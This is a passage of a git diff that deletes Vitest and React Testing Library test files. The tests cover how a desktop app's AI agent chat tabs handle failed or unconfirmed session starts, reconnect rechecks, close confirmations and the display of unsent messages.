-vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-subscriptions', () => ({
-  subscribeStructuredAgentSession: vi.fn(),
-  subscribeStructuredAgentSessionStatus: mocks.subscribeStatus
-}))
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.history
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-probe', () => ({
-  ensureRuntimeEnvironmentCompatible: async () => {}
-}))
-
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionTabs: vi.fn(async () => [])
-}))
-
-const launchErrorMocks = vi.hoisted(() => {
-  class StructuredAgentSessionCreateRefusalError extends Error {}
-  return { StructuredAgentSessionCreateRefusalError }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-errors', async () => ({
-  ...(await vi.importActual<typeof LaunchErrors>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-  )),
-  ...launchErrorMocks
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: mocks.launch
-}))
-
-vi.mock('@/lib/launch-structured-agent-session', () => {
-  return {
-    createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
-    restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: vi.fn(),
-    launchStructuredAgentSession: mocks.launch,
-    StructuredAgentSessionCreateRefusalError:
-      launchErrorMocks.StructuredAgentSessionCreateRefusalError
-  }
-})
-
-import { useRunningTerminalCloseConfirmStore } from '@/store/slices/tabs/closing/running-terminal-close-confirm'
-import { StructuredAgentSessionStatusBridge } from './StructuredAgentSessionStatusBridge'
-import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import {
-  retryStructuredAgentSessionLaunch,
-  startStructuredAgentLaunch
-} from '@/lib/agent-session/launch/structured-agent-session-launch'
-import { resetStructuredAgentLaunchRegistryForTests } from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
-import { resetStructuredAgentLaunchPersistenceForTests } from '@/lib/agent-session/launch/structured-agent-session-launch-persistence'
-import { resetStructuredAgentSessionStatusFeedsForTests } from '@/runtime/native-chat/status/structured-agent-session-status-feed'
-import {
-  resetTerminalTabActivityFlagsCacheForTest,
-  resolveTerminalTabActivityStatus
-} from '../../../tab-bar/terminal-tab-activity-status'
-
-import { countActivityUnread } from '../../../activity/useActivityUnreadCount'
-
-import { getDefaultSettings } from '../../../../../../shared/constants'
-import {
-  sendStructuredAgentSessionMessage,
-  resetStructuredAgentSessionSendsForTests
-} from '../structured/delivery/structured-agent-session-message-sender'
-import { noteStructuredAgentSessionFence } from '../structured/delivery/structured-agent-session-send-attempt'
-
-async function closeChat(skipRunningProcessConfirm = false): Promise<void> {
-  const { createWorkspaceTabCloseCommands } =
-    await import('../../../tab-group/workspace-tab-close-commands')
-  createWorkspaceTabCloseCommands({
-    worktreeId: WORKTREE_ID,
-    groupTabs: [structuredTab]
-  }).closeItem(structuredTab.id, { skipRunningProcessConfirm })
-}
-
-const WORKTREE_ID = 'wt-1'
-const SESSION_ID = 'session-1'
-const TAB_CREATED_AT = 1_000
-const FAILED_AT = 10 * 60 * 60_000
-const PANE_KEY = structuredAgentSessionPaneKey(`structured-agent-session-${SESSION_ID}`, SESSION_ID)
-
-const structuredTab = {
-  id: `structured-agent-session-${SESSION_ID}`,
-  worktreeId: WORKTREE_ID,
-  groupId: 'group-1',
-  contentType: 'agent-session',
-  entityId: SESSION_ID,
-  label: 'Claude Chat',
-  customLabel: null,
-  color: null,
-  sortOrder: 0,
-  createdAt: TAB_CREATED_AT,
-  isPinned: false,
-  agentSessionAgent: 'claude',
-  executionHostId: 'local'
-} satisfies Tab
-
-const intent: StructuredAgentSessionLaunchIntent = {
-  worktreeId: WORKTREE_ID,
-  sessionId: SESSION_ID,
-  executionHostId: 'local',
-  target: { kind: 'local' },
-  agent: 'claude',
-  params: {
-    envelope: {
-      sessionId: SESSION_ID,
-      clientOperationId: 'operation-1',
-      expectedRuntimeFence: null,
-      payloadFingerprint: 'fingerprint-1'
-    },
-    worktree: `id:${WORKTREE_ID}`,
-    agent: 'claude'
-  }
-}
-
-function store(): TestStore {
-  if (!mocks.store) {
-    throw new Error('store missing')
-  }
-  return mocks.store
-}
-
-function rows(): AgentStatusEntry[] {
-  return Object.values(store().getState().agentStatusByPaneKey)
-}
-
-function tabStatus(): string {
-  const state = store().getState()
-  return resolveTerminalTabActivityStatus({
-    tab: { id: structuredTab.id, title: structuredTab.label, launchAgent: 'claude' },
-    agentStatusByPaneKey: state.agentStatusByPaneKey,
-    agentStatusEpoch: state.agentStatusEpoch
-  })
-}
-
-async function flush(): Promise<void> {
-  for (let i = 0; i < 20; i += 1) {
-    await act(async () => {
-      await Promise.resolve()
-    })
-  }
-}
-
-async function connect(): Promise<(event: AgentSessionStatusEvent) => void> {
-  render(<StructuredAgentSessionStatusBridge />)
-  await waitFor(() => expect(mocks.subscribeStatus).toHaveBeenCalledOnce())
-  const emit: (event: AgentSessionStatusEvent) => void = mocks.subscribeStatus.mock.calls[0]?.[1]
-  // The host never created the session, so it publishes nothing for it.
-  act(() => emit({ type: 'snapshot', sessions: [] }))
-  return (event) => act(() => emit(event))
-}
-
-/** Preserve saved launches/acknowledgments across restart; drop live rows and launch memory. */
-async function restart(): Promise<void> {
-  const { acknowledgedAgentsByPaneKey } = store().getState()
-  cleanup()
-  store().setState({ agentStatusByPaneKey: {}, acknowledgedAgentsByPaneKey })
-  resetStructuredAgentLaunchRegistryForTests()
-  resetStructuredAgentLaunchPersistenceForTests()
-  resetStructuredAgentSessionStatusFeedsForTests()
-  resetTerminalTabActivityFlagsCacheForTest()
-  mocks.subscribeStatus.mockClear()
-  await connect()
-}
-
-function setClock(now: number): void {
-  vi.spyOn(Date, 'now').mockReturnValue(now)
-}
-
-function acknowledge(at: number): void {
-  store().setState({ acknowledgedAgentsByPaneKey: { [PANE_KEY]: at } })
-}
-
-function unread(): number {
-  return countActivityUnread(store().getState())
-}
-
-let failedStarts = 0
-
-async function failStart(): Promise<void> {
-  mocks.createIntent.mockReturnValueOnce(intent)
-  mocks.launch.mockRejectedValueOnce(new StructuredAgentSessionCreateRefusalError('refused'))
-  failedStarts += 1
-  const launch = startStructuredAgentLaunch(WORKTREE_ID, 'claude', {
-    requestId: `request-${failedStarts}`
-  })
-  await expect(launch.launchResult).rejects.toBeInstanceOf(StructuredAgentSessionCreateRefusalError)
-  await flush()
-}
-
-const completeIdle: AgentSessionHistoryResult = {
-  ok: true,
-  page: {
-    sessionId: SESSION_ID,
-    epoch: 'e',
-    direction: 'tail',
-    items: [],
-    removedItemIds: [],
-    submissions: [],
-    window: { oldest: null, newest: null, nextCursor: { epoch: 'e', sequence: 1 } },
-    hasOlder: false,
-    hasNewer: false,
-    latestTurn: null,
-    working: false,
-    actionablePromptIds: [],
-    backgroundTasks: null,
-    nextQueuedMessageId: null
-  }
-}
-const pendingClose = () =>
-  useRunningTerminalCloseConfirmStore.getState().runningTerminalCloseConfirm
-async function ready(mode = 'idle'): Promise<void> {
-  const emit = await connect()
-  emit({
-    type: 'status',
-    session: {
-      sessionId: SESSION_ID,
-      workspaceId: WORKTREE_ID,
-      agent: 'claude',
-      status: mode === 'idle' ? 'idle' : 'working',
-      latestPrompt: '',
-      updatedAt: 1
-    }
-  })
-  store().setState({
-    settings:
-      mode === 'null settings'
-        ? null
-        : {
-            ...getDefaultSettings('/tmp/pr-34236'),
-            skipCloseTerminalWithRunningProcessConfirm: mode === 'opt-out'
-          }
-  })
-  mocks.history.mockReset().mockResolvedValue(completeIdle)
-}
-
-describe('a chat whose start failed', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchRegistryForTests()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentSessionStatusFeedsForTests()
-    resetTerminalTabActivityFlagsCacheForTest()
-    mocks.subscribeStatus.mockResolvedValue({ unsubscribe: mocks.unsubscribe })
-    mocks.retryIntent.mockImplementation((prior: StructuredAgentSessionLaunchIntent) => prior)
-    mocks.restoreIntent.mockReturnValue(intent)
-    store().setState({
-      agentStatusByPaneKey: {},
-      acknowledgedAgentsByPaneKey: {},
-      retainedAgentsByPaneKey: {},
-      unifiedTabsByWorktree: { [WORKTREE_ID]: [structuredTab] }
-    })
-  })
-
-  afterEach(() => {
-    cleanup()
-    resetStructuredAgentSessionSendsForTests()
-    vi.useRealTimers()
-    useRunningTerminalCloseConfirmStore.getState().dismissRunningTerminalClose()
-    resetStructuredAgentSessionStatusFeedsForTests()
-    vi.restoreAllMocks()
-  })
-
-  it('stays read across a restart once seen, and a later failure is news again', async () => {
-    setClock(FAILED_AT)
-    await connect()
-    await failStart()
-    expect(rows()).toEqual([
-      expect.objectContaining({ updatedAt: FAILED_AT, stateStartedAt: FAILED_AT })
-    ])
-    expect(unread()).toBe(1)
-    setClock(FAILED_AT + 60_000)
-    acknowledge(FAILED_AT + 60_000)
-    expect(unread()).toBe(0)
-
-    await restart()
-    expect(rows()).toEqual([
-      expect.objectContaining({ state: 'done', updatedAt: FAILED_AT, stateStartedAt: FAILED_AT })
-    ])
-    expect(unread()).toBe(0)
-    expect(tabStatus()).toBe('failed')
-
-    setClock(FAILED_AT + 120_000)
-    mocks.launch.mockRejectedValueOnce(new StructuredAgentSessionCreateRefusalError('refused'))
-    act(() => {
-      retryStructuredAgentSessionLaunch(WORKTREE_ID, SESSION_ID)
-    })
-    await flush()
-    expect(rows()).toEqual([
-      expect.objectContaining({
-        stateStartedAt: FAILED_AT + 120_000,
-        mainAgent: expect.objectContaining({ outcome: 'failure' })
-      })
-    ])
-    expect(unread()).toBe(1)
-  })
-  it('warns during real issued send and accepted handoff before status arrives', async () => {
-    await ready()
-    noteStructuredAgentSessionFence(SESSION_ID, 4)
-    const answer = Promise.withResolvers<AgentSessionMutationResult<AgentSessionSendResult>>()
-    mocks.call.mockReturnValue(answer.promise)
-    const sent = sendStructuredAgentSessionMessage({
-      sessionId: SESSION_ID,
-      target: { kind: 'local' },
-      text: 'continue'
-    })
-    expect(sent).not.toBeNull()
-    await flush()
-    await closeChat()
-    expect(pendingClose()).not.toBeNull()
-    useRunningTerminalCloseConfirmStore.getState().dismissRunningTerminalClose()
-    answer.resolve({
-      ok: true,
-      replayed: false,
-      fence: 4,
-      cursor: { epoch: 'e', sequence: 2 },
-      value: {
-        clientMessageId: sent!.clientMessageId,
-        submission: {
-          clientMessageId: sent!.clientMessageId,
-          fence: 4,
-          payloadFingerprint: 'send',
-          dispatchState: 'accepted',
-          providerItemId: null,
-          reason: null,
-          submittedAt: 1,
-          resolvedAt: 2
-        }
-      }
-    })
-    expect(await sent!.outcome).toBe('recorded')
-    mocks.history.mockResolvedValue({
-      ...completeIdle,
-      page: { ...completeIdle.page, working: true }
-    })
-    await flush()
-    await closeChat()
-    await flush()
-    expect(pendingClose()).not.toBeNull()
-    expect(store().getState().unifiedTabsByWorktree[WORKTREE_ID]).toContainEqual(structuredTab)
-  })
-})
diff --git a/src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-unconfirmed-start.test.tsx b/src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-unconfirmed-start.test.tsx
deleted file mode 100644
index 6fd6dc649d8..00000000000
--- a/src/renderer/src/components/native-chat/session/status/structured-agent-session-status-bridge-unconfirmed-start.test.tsx
+++ /dev/null
@@ -1,355 +0,0 @@
-import { markStructuredAgentSessionLaunchCancelled } from '@/lib/agent-session/launch/structured-agent-session-launch-cancel'
-// @vitest-environment happy-dom
-
-// Lost create replies remain unmarked and recheck on reconnect; only confirmed failures earn failure marks.
-
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { act, cleanup, render, waitFor } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../../shared/runtime-session-contracts'
-import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
-import type { Tab } from '../../../../../../shared/tab-types'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import type { AppState } from '@/store/types'
-
-type TestStore = {
-  getState: () => AppState
-  setState: (state: Partial<AppState>) => void
-}
-
-const mocks = vi.hoisted(() => {
-  const hoisted: {
-    store: TestStore | null
-    subscribeStatus: Mock
-    createIntent: Mock
-    restoreIntent: Mock
-    launch: Mock<
-      (
-        intent: StructuredAgentSessionLaunchIntent,
-        onHostSeed?: unknown
-      ) => Promise<{ sessionId: string; fence: number }>
-    >
-    refresh: Mock
-    history: Mock
-  } = {
-    store: null,
-    subscribeStatus: vi.fn(),
-    createIntent: vi.fn(),
-    restoreIntent: vi.fn(),
-    launch: vi.fn(),
-    refresh: vi.fn(),
-    history: vi.fn()
-  }
-  return hoisted
-})
-
-vi.mock('@/store', async () => {
-  const { createTestStore } = await import('@/store/testing/app-store-test-fixture')
-  const useAppStore = createTestStore()
-  mocks.store = useAppStore
-  return { useAppStore }
-})
-
-vi.mock('sonner', () => ({ toast: { error: vi.fn(), message: vi.fn() } }))
-
-vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', () => ({
-  getExecutionHostIdForWorktree: () => 'local'
-}))
-
-vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: mocks.history
-}))
-
-vi.mock('../../../../runtime/native-chat/requests/structured-agent-session-subscriptions', () => ({
-  subscribeStructuredAgentSession: vi.fn(),
-  subscribeStructuredAgentSessionStatus: mocks.subscribeStatus
-}))
-
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionTabs: mocks.refresh
-}))
-
-const launchErrorMocks = vi.hoisted(() => {
-  class StructuredAgentSessionCreateRefusalError extends Error {}
-  return { StructuredAgentSessionCreateRefusalError }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-errors', async () => ({
-  ...(await vi.importActual<typeof LaunchErrors>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-  )),
-  ...launchErrorMocks
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: mocks.launch
-}))
-
-vi.mock('@/lib/launch-structured-agent-session', () => {
-  return {
-    createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    retryStructuredAgentSessionLaunchIntent: vi.fn((prior: unknown) => prior),
-    restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: vi.fn(),
-    launchStructuredAgentSession: mocks.launch,
-    StructuredAgentSessionCreateRefusalError:
-      launchErrorMocks.StructuredAgentSessionCreateRefusalError
-  }
-})
-
-import { StructuredAgentSessionStatusBridge } from './StructuredAgentSessionStatusBridge'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-
-import { startStructuredAgentLaunch } from '@/lib/agent-session/launch/structured-agent-session-launch'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  resetStructuredAgentLaunchRegistryForTests
-} from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
-import { resetStructuredAgentLaunchPersistenceForTests } from '@/lib/agent-session/launch/structured-agent-session-launch-persistence'
-import { recheckUnconfirmedStructuredAgentLaunches } from '@/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck'
-import { resetStructuredAgentSessionStatusFeedsForTests } from '@/runtime/native-chat/status/structured-agent-session-status-feed'
-import {
-  resetTerminalTabActivityFlagsCacheForTest,
-  resolveTerminalTabActivityStatus
-} from '../../../tab-bar/terminal-tab-activity-status'
-
-const WORKTREE_ID = 'wt-1'
-const CLAUDE_SESSION = 'session-claude'
-const CODEX_SESSION = 'session-codex'
-
-function chatTab(sessionId: string, agent: 'claude' | 'codex'): Tab {
-  return {
-    id: `structured-agent-session-${sessionId}`,
-    worktreeId: WORKTREE_ID,
-    groupId: 'group-1',
-    contentType: 'agent-session',
-    entityId: sessionId,
-    label: 'Chat',
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1_000,
-    isPinned: false,
-    agentSessionAgent: agent
-  }
-}
-
-function launchIntent(
-  sessionId: string,
-  agent: 'claude' | 'codex' = 'claude'
-): StructuredAgentSessionLaunchIntent {
-  return {
-    worktreeId: WORKTREE_ID,
-    sessionId,
-    executionHostId: 'local',
-    target: { kind: 'local' },
-    agent,
-    params: {
-      envelope: {
-        sessionId,
-        clientOperationId: `operation-${sessionId}`,
-        expectedRuntimeFence: null,
-        payloadFingerprint: `fingerprint-${sessionId}`
-      },
-      worktree: `id:${WORKTREE_ID}`,
-      agent
-    }
-  }
-}
-
-function listing(...sessionIds: string[]): RuntimeMobileSessionTabsResult[] {
-  return [
-    {
-      worktree: WORKTREE_ID,
-      publicationEpoch: 'epoch-1',
-      snapshotVersion: 1,
-      activeGroupId: null,
-      activeTabId: null,
-      activeTabType: null,
-      tabs: sessionIds.map((sessionId) => ({
-        type: 'agent-session' as const,
-        id: `agent-session:${sessionId}`,
-        title: 'Chat',
-        sessionId,
-        agent: 'claude' as const,
-        isActive: false
-      }))
-    }
-  ]
-}
-
-function store(): TestStore {
-  if (!mocks.store) {
-    throw new Error('store missing')
-  }
-  return mocks.store
-}
-
-function rows(): AgentStatusEntry[] {
-  return Object.values(store().getState().agentStatusByPaneKey)
-}
-
-function tabStatus(sessionId = CLAUDE_SESSION): string {
-  const state = store().getState()
-  return resolveTerminalTabActivityStatus({
-    tab: { id: `structured-agent-session-${sessionId}`, title: 'Chat', launchAgent: 'claude' },
-    agentStatusByPaneKey: state.agentStatusByPaneKey,
-    agentStatusEpoch: state.agentStatusEpoch
-  })
-}
-
-function lifecycle(sessionId = CLAUDE_SESSION): string | null {
-  return getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, sessionId)
-}
-
-function createCalls(): number {
-  return mocks.launch.mock.calls.length
-}
-
-async function flush(): Promise<void> {
-  for (let i = 0; i < 30; i += 1) {
-    await act(async () => {
-      await Promise.resolve()
-    })
-  }
-}
-
-async function connect(): Promise<void> {
-  render(<StructuredAgentSessionStatusBridge />)
-  await waitFor(() => expect(mocks.subscribeStatus).toHaveBeenCalled())
-  for (const [, emit] of mocks.subscribeStatus.mock.calls) {
-    act(() => emit({ type: 'snapshot', sessions: [] }))
-  }
-}
-
-async function reload(): Promise<void> {
-  cleanup()
-  store().setState({ agentStatusByPaneKey: {} })
-  resetStructuredAgentLaunchRegistryForTests()
-  resetStructuredAgentLaunchPersistenceForTests()
-  resetStructuredAgentSessionStatusFeedsForTests()
-  resetTerminalTabActivityFlagsCacheForTest()
-  mocks.subscribeStatus.mockClear()
-  await connect()
-}
-
-async function loseStart(
-  sessionId = CLAUDE_SESSION,
-  agent: 'claude' | 'codex' = 'claude'
-): Promise<void> {
-  mocks.createIntent.mockReturnValueOnce(launchIntent(sessionId, agent))
-  const launch = startStructuredAgentLaunch(WORKTREE_ID, agent, {
-    requestId: `request-${sessionId}`
-  })
-  await expect(launch.launchResult).rejects.toThrow('reply lost')
-  await flush()
-  expect(lifecycle(sessionId)).toBe('visibility-unknown')
-}
-
-function hostIsReachableAgain(executionHostId: 'local' | `runtime:${string}` = 'local'): void {
-  act(() => recheckUnconfirmedStructuredAgentLaunches(executionHostId))
-}
-
-describe('a chat whose start was never confirmed', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    // Queued one-shot answers an earlier case left unconsumed must not leak into the next.
-    for (const mock of [mocks.createIntent, mocks.launch, mocks.refresh, mocks.restoreIntent]) {
-      mock.mockReset()
-    }
-    localStorage.clear()
-    resetStructuredAgentLaunchRegistryForTests()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentSessionStatusFeedsForTests()
-    resetTerminalTabActivityFlagsCacheForTest()
-    mocks.subscribeStatus.mockResolvedValue({ unsubscribe: vi.fn() })
-    mocks.launch.mockRejectedValue(new Error('reply lost'))
-    mocks.refresh.mockResolvedValue([])
-    mocks.history.mockResolvedValue({ ok: true, page: { fence: 1 } })
-    mocks.restoreIntent.mockImplementation((args: { sessionId: string }) =>
-      launchIntent(args.sessionId)
-    )
-    store().setState({
-      agentStatusByPaneKey: {},
-      acknowledgedAgentsByPaneKey: {},
-      retainedAgentsByPaneKey: {},
-      unifiedTabsByWorktree: {
-        [WORKTREE_ID]: [chatTab(CLAUDE_SESSION, 'claude'), chatTab(CODEX_SESSION, 'codex')]
-      }
-    })
-  })
-
-  afterEach(() => {
-    cleanup()
-    resetStructuredAgentSessionStatusFeedsForTests()
-  })
-
-  it('re-checks a start a reload interrupted, without the user pressing Retry', async () => {
-    await connect()
-    mocks.createIntent.mockReturnValueOnce(launchIntent(CLAUDE_SESSION))
-    mocks.launch.mockReturnValueOnce(new Promise(() => {}))
-    startStructuredAgentLaunch(WORKTREE_ID, 'claude', { requestId: `request-${CLAUDE_SESSION}` })
-    await flush()
-
-    await reload()
-    expect(lifecycle()).toBe('visibility-unknown')
-    expect(rows()).toEqual([])
-    expect(tabStatus()).not.toBe('failed')
-
-    mocks.launch.mockResolvedValueOnce({ sessionId: CLAUDE_SESSION, fence: 1 })
-    mocks.refresh.mockResolvedValueOnce([]).mockResolvedValueOnce(listing(CLAUDE_SESSION))
-    hostIsReachableAgain()
-    await flush()
-
-    expect(mocks.launch).toHaveBeenLastCalledWith(
-      expect.objectContaining({
-        sessionId: CLAUDE_SESSION,
-        params: expect.objectContaining({
-          envelope: expect.objectContaining({ clientOperationId: `operation-${CLAUDE_SESSION}` })
-        })
-      }),
-      expect.any(Function),
-      true,
-      expect.any(Function)
-    )
-    expect(lifecycle()).toBeNull()
-    expect(rows()).toEqual([])
-  })
-
-  it('never re-creates a chat the user closed, before or after a reload', async () => {
-    await connect()
-    await loseStart(CLAUDE_SESSION, 'claude')
-    await loseStart(CODEX_SESSION, 'codex')
-    act(() => {
-      markStructuredAgentSessionLaunchCancelled(
-        WORKTREE_ID,
-        CLAUDE_SESSION,
-        'local',
-        store().getState()
-      )
-    })
-    const creates = createCalls()
-
-    hostIsReachableAgain()
-    await flush()
-    const recreated = (sessionId: string): number =>
-      mocks.launch.mock.calls.slice(creates).filter(([intent]) => intent.sessionId === sessionId)
-        .length
-    expect(recreated(CODEX_SESSION)).toBe(1)
-    expect(recreated(CLAUDE_SESSION)).toBe(0)
-
-    await reload()
-    hostIsReachableAgain()
-    await flush()
-    expect(recreated(CLAUDE_SESSION)).toBe(0)
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      // Switch-on, main's host is told to close the chat instead of the window keeping a tombstone.
-      expect(mocks.history).toHaveBeenCalledWith({ kind: 'local' }, 'agentSession.close', {
-        sessionId: CLAUDE_SESSION
-      })
-      expect(lifecycle(CLAUDE_SESSION)).toBeNull()
-    } else {
-      expect(lifecycle(CLAUDE_SESSION)).toBe('cancelled')
-    }
-  })
-})
diff --git a/src/renderer/src/components/native-chat/session/structured/delivery/NativeChatMessageList.unsent-message.test.tsx b/src/renderer/src/components/native-chat/session/structured/delivery/NativeChatMessageList.unsent-message.test.tsx
deleted file mode 100644
index 844ae2b4b9b..00000000000
--- a/src/renderer/src/components/native-chat/session/structured/delivery/NativeChatMessageList.unsent-message.test.tsx
+++ /dev/null
@@ -1,224 +0,0 @@
-// @vitest-environment happy-dom
-
-// Unsent outbox messages stay below newer turns and their activity, without owning a turn bar.
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup } from '@testing-library/react'
-import { render } from '../../../messages/actions/native-chat-tooltip-test-harness'
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-afterEach(() => {
-  expect(unusedChatLeaves.inlineVisual).not.toHaveBeenCalled()
-  expect(unusedChatLeaves.openSender).not.toHaveBeenCalled()
-})
-import type {
-  AgentJournalItemBody,
-  AgentJournalRenderItem,
-  AgentJournalSubmission
-} from '../../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import type { AgentJournalTurnScope } from '../../../../../../../shared/agent-session/journal/agent-session-journal-turn-scope'
-import { agentJournalSubmissionKey } from '../../../../../../../shared/agent-session/journal/agent-session-journal-item-key'
-import type { NativeChatSettledTurns } from '../../../../../../../shared/native-chat/transcript/native-chat-turn-status'
-import { DISPATCH_REJECTED_HOST_RESTARTED } from '../../../../../../../shared/agent-session/requests/structured-agent-session-dispatch-rejection'
-import { NativeChatMessageList } from '../../../NativeChatMessageList'
-import { structuredAgentSessionDeliveryNotices } from './structured-agent-session-delivery-notices'
-import { installNativeChatMessageListTestViewport } from '../../../viewport/virtualization/native-chat-message-list-test-viewport'
-import { projectStructuredAgentSessionMessages } from '../../../conversation/projection/structured-agent-session-message-projection'
-
-let restoreViewport = (): void => {}
-beforeAll(() => {
-  restoreViewport = installNativeChatMessageListTestViewport()
-})
-afterAll(() => restoreViewport())
-afterEach(cleanup)
-
-type Phase = 'in flight' | 'running' | 'done'
-
-const SEED = agentJournalSubmissionKey('seed')
-const NEW = agentJournalSubmissionKey('new')
-
-function said(role: 'user' | 'assistant', text: string): AgentJournalItemBody {
-  return { kind: 'message', role, blocks: [{ type: 'text', text }] }
-}
-
-function journal(phase: Phase, scoped: boolean): AgentJournalRenderItem[] {
-  const thread: AgentJournalTurnScope = { kind: 'thread' }
-  const row = (
-    itemId: string,
-    body: AgentJournalItemBody,
-    turnScope: AgentJournalTurnScope
-  ): AgentJournalRenderItem => ({
-    itemId,
-    revision: 0,
-    sequence: rows.length + 1,
-    observedAt: 1000 + rows.length,
-    body,
-    ...(scoped ? { turnScope } : {})
-  })
-  const rows: AgentJournalRenderItem[] = []
-  rows.push(row(SEED, said('user', 'SEED PROMPT'), thread))
-  rows.push(
-    row(
-      'turn-seed',
-      { kind: 'turn', turnId: 'turn-seed', state: 'completed', userItemId: SEED },
-      thread
-    )
-  )
-  rows.push(
-    row('seed-answer', said('assistant', 'SEED OK'), { kind: 'turn', turnItemId: 'turn-seed' })
-  )
-  rows.push(row(NEW, said('user', 'NEW PROMPT'), thread))
-  if (phase !== 'in flight') {
-    rows.push(
-      row(
-        'turn-new',
-        {
-          kind: 'turn',
-          turnId: 'turn-new',
-          state: phase === 'done' ? 'completed' : 'running',
-          userItemId: NEW
-        },
-        thread
-      )
-    )
-  }
-  if (phase === 'done') {
-    rows.push(
-      row('new-answer', said('assistant', 'NEW OK'), { kind: 'turn', turnItemId: 'turn-new' })
-    )
-  }
-  return rows
-}
-
-function submission(
-  id: string,
-  dispatchState: AgentJournalSubmission['dispatchState']
-): AgentJournalSubmission {
-  return {
-    clientMessageId: id,
-    fence: 1,
-    payloadFingerprint: id,
-    dispatchState,
-    providerItemId: null,
-    reason: null,
-    submittedAt: 1,
-    resolvedAt: null
-  }
-}
-
-function drawn(container: HTMLElement): string[] {
-  const out: string[] = []
-  for (const element of container.querySelectorAll('*')) {
-    if (element.hasAttribute('data-native-chat-turn-activity')) {
-      out.push('ACTIVITY')
-    } else if (element.hasAttribute('data-native-chat-turn-status')) {
-      out.push(
-        element.getAttribute('data-native-chat-turn-status') === 'active' ? 'WORKING' : 'WORKED'
-      )
-    } else if (element.childElementCount === 0 && (element.textContent ?? '').endsWith('PROMPT')) {
-      out.push(element.textContent ?? '')
-    }
-  }
-  return out
-}
-
-describe('a message the host rejected after a crash, with no outbox entry left', () => {
-  const LOST = agentJournalSubmissionKey('lost')
-
-  function hostList(phase: Phase) {
-    const items = journal(phase, true)
-    const newIndex = items.findIndex((item) => item.itemId === NEW)
-    // Recorded between the seed's answer and the newer prompt; the next open rejected it.
-    items.splice(newIndex, 0, {
-      itemId: LOST,
-      revision: 0,
-      sequence: items[newIndex - 1]!.sequence,
-      sequenceIndex: 1,
-      observedAt: 1002.5,
-      body: said('user', 'LOST PROMPT'),
-      turnScope: { kind: 'thread' }
-    })
-    const submissions: AgentJournalSubmission[] = [
-      submission('seed', 'accepted'),
-      {
-        ...submission('lost', 'rejected'),
-        reason: DISPATCH_REJECTED_HOST_RESTARTED,
-        rejection: { kind: 'hostRestarted' }
-      },
-      submission('new', phase === 'done' ? 'accepted' : 'pending')
-    ]
-    const settledTurns: NativeChatSettledTurns = new Map([
-      [SEED, { startedAt: 1, workedSeconds: 3 }],
-      ...(phase === 'done' ? [[NEW, { startedAt: 2, workedSeconds: 5 }] as const] : [])
-    ])
-    return (
-      <NativeChatMessageList
-        session={{
-          messages: projectStructuredAgentSessionMessages(items, [], submissions),
-          status: phase === 'done' ? 'ready' : 'working',
-          sessionId: 'session-1',
-          agent: 'claude',
-          hasMore: false,
-          loadingEarlier: false,
-          olderHistoryGeneration: 0,
-          loadEarlier: vi.fn(),
-          readPhase: 'ready'
-        }}
-        journalItems={items}
-        journalSubmissions={submissions}
-        deliveryNotices={structuredAgentSessionDeliveryNotices({
-          pending: [],
-          submissions,
-          agentName: 'Claude',
-          startFailures: []
-        })}
-        isWorking={phase !== 'done'}
